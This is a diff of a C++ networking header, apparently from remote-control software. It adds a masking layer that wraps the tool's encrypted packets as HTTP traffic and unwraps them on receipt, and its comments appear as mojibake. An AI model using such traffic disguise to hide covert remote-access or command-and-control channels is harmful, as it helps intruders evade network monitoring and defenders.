#include "stdafx.h"
|
||||||
#include "common/commands.h"
|
#include "common/mask.h"
|
||||||
#include "common/header.h"
|
#include "common/header.h"
|
||||||
#include "common/encrypt.h"
|
#include "common/encrypt.h"
|
||||||
|
|
||||||
@@ -64,6 +64,7 @@ class HeaderParser {
|
|||||||
friend class CONTEXT_OBJECT;
|
friend class CONTEXT_OBJECT;
|
||||||
protected:
|
protected:
|
||||||
HeaderParser() {
|
HeaderParser() {
|
||||||
|
m_Masker = nullptr;
|
||||||
m_Encoder = nullptr;
|
m_Encoder = nullptr;
|
||||||
m_Encoder2 = nullptr;
|
m_Encoder2 = nullptr;
|
||||||
m_bParsed = FALSE;
|
m_bParsed = FALSE;
|
||||||
@@ -74,11 +75,23 @@ protected:
|
|||||||
virtual ~HeaderParser() {
|
virtual ~HeaderParser() {
|
||||||
Reset();
|
Reset();
|
||||||
}
|
}
|
||||||
PR Parse(CBuffer& buf, int& compressMethod) {
|
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
|
||||||
const int MinimumCount = MIN_COMLEN;
|
const int MinimumCount = MIN_COMLEN;
|
||||||
if (buf.GetBufferLength() < MinimumCount) {
|
if (buf.GetBufferLength() < MinimumCount) {
|
||||||
return PR{ PARSER_NEEDMORE };
|
return PR{ PARSER_NEEDMORE };
|
||||||
}
|
}
|
||||||
|
// UnMask
|
||||||
|
char* src = (char*)buf.GetBuffer();
|
||||||
|
ULONG srcSize = buf.GetBufferLength();
|
||||||
|
PkgMaskType maskType = MaskTypeUnknown;
|
||||||
|
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||||
|
if (nullptr == m_Masker) {
|
||||||
|
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
||||||
|
}
|
||||||
|
buf.Skip(ret);
|
||||||
|
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
||||||
|
return PR{ PARSER_NEEDMORE };
|
||||||
|
|
||||||
char szPacketFlag[32] = { 0 };
|
char szPacketFlag[32] = { 0 };
|
||||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||||
HeaderEncType encTyp = HeaderEncUnknown;
|
HeaderEncType encTyp = HeaderEncUnknown;
|
||||||
@@ -161,6 +174,10 @@ protected:
|
|||||||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||||||
}
|
}
|
||||||
HeaderParser& Reset() {
|
HeaderParser& Reset() {
|
||||||
|
if (m_Masker) {
|
||||||
|
m_Masker->Destroy();
|
||||||
|
m_Masker = nullptr;
|
||||||
|
}
|
||||||
SAFE_DELETE(m_Encoder);
|
SAFE_DELETE(m_Encoder);
|
||||||
SAFE_DELETE(m_Encoder2);
|
SAFE_DELETE(m_Encoder2);
|
||||||
m_bParsed = FALSE;
|
m_bParsed = FALSE;
|
||||||
@@ -199,6 +216,7 @@ private:
|
|||||||
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
||||||
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
||||||
|
PkgMask* m_Masker;
|
||||||
};
|
};
|
||||||
|
|
||||||
enum IOType
|
enum IOType
|
||||||
@@ -393,7 +411,7 @@ public:
|
|||||||
return InDeCompressedBuffer.GetBYTE(offset);
|
return InDeCompressedBuffer.GetBYTE(offset);
|
||||||
}
|
}
|
||||||
// Write compressed buffer.
|
// Write compressed buffer.
|
||||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) {
|
||||||
if (Parser.IsParsed()) {
|
if (Parser.IsParsed()) {
|
||||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||||
BYTE szPacketFlag[32] = {};
|
BYTE szPacketFlag[32] = {};
|
||||||
@@ -401,18 +419,26 @@ public:
|
|||||||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||||||
if (Parser.IsEncodeHeader())
|
if (Parser.IsEncodeHeader())
|
||||||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||||||
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
CBuffer buf;
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||||||
|
buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||||||
}
|
}
|
||||||
Encode2(data, dataLen, szPacketFlag);
|
Encode2(data, dataLen, szPacketFlag);
|
||||||
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
buf.WriteBuffer(data, dataLen);
|
||||||
|
// Mask
|
||||||
|
char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
|
||||||
|
ULONG ulLength = 0;
|
||||||
|
Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
|
||||||
|
OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||||
|
if (szBuffer != src)
|
||||||
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Read compressed buffer.
|
// Read compressed buffer.
|
||||||
@@ -438,7 +464,7 @@ public:
|
|||||||
}
|
}
|
||||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||||
PR Parse(CBuffer& buf) {
|
PR Parse(CBuffer& buf) {
|
||||||
return Parser.Parse(buf, CompressMethod);
|
return Parser.Parse(buf, CompressMethod, PeerName);
|
||||||
}
|
}
|
||||||
// Encode data before compress.
|
// Encode data before compress.
|
||||||
void Encode(PBYTE data, int len) const {
|
void Encode(PBYTE data, int len) const {
|
||||||
|
|||||||
Reference in New Issue
Block a user